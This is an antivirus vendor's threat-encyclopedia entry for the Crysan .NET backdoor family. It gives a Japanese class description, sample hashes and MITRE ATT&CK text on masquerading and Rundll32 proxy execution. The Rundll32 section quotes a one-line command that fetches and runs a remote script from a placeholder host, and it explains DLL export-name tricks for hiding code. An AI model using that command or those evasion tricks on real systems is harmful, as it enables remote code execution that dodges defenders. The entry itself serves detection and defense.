Kaspersky Threats — Backdoor.MSIL.Crysan.hyh

クラス: Backdoor

バックドアは、悪意のあるユーザーが感染したコンピュータをリモートコントロールできるように設計されています。機能性の面では、バックドアはソフトウェア開発者が設計し配布する多くの管理システムに似ています。これらの種類の悪質なプログラムは、ファイルの送受信、ファイルの起動や削除、メッセージの表示、データの削除、コンピュータの再起動など、感染したコンピュータ上で必要な作業を可能にします。このカテゴリのプログラムは、被害者のコンピュータのグループを結びつけ、ボットネットまたはゾンビネットワークを形成するためです。これにより、悪意のあるユーザーは感染したコンピュータの軍隊を集中管理し、犯罪目的で使用することができます。 Net-Wormのように、ネットワークを介して拡散して他のコンピュータに感染することができるバックドアのグループもあります。違いは、このようなBackdoorは（Net-Wormのように）自動的に広がるのではなく、それらを制御する悪意のあるユーザーからの特別な「コマンド」に限られるということです。

プラットフォーム: MSIL

Common Intermediate Language（旧称Microsoft Intermediate Language、またはMSIL）は、Microsoftが.NET Framework用に開発した中間言語です。 CILコードは、Microsoft Visual Studio（Visual Basic .NET、Visual C ++、Visual C＃など）のすべてのMicrosoft .NETコンパイラによって生成されます。

ファミリー: Backdoor.MSIL.Crysan

No family description

Examples

9583B8AFBC187BB7E1DC01C672B3BE3F
70D82A9E34FFE278F683E2D5FD69372A
96A08A692A3407D73A71E84C9554DC43
C87B1A544C6411236DA5612BE79ED63B
E2102591B99E6D187B13808079D1168A

Tactics and Techniques: Mitre*

TA0005

Defense Evasion

The adversary is trying to avoid being detected.

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.

T1036.005

Masquerading: Match Legitimate Name or Location

Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.

Adversaries may also use the same icon of the file they are trying to mimic.

T1218.011

System Binary Proxy Execution: Rundll32

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"

This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)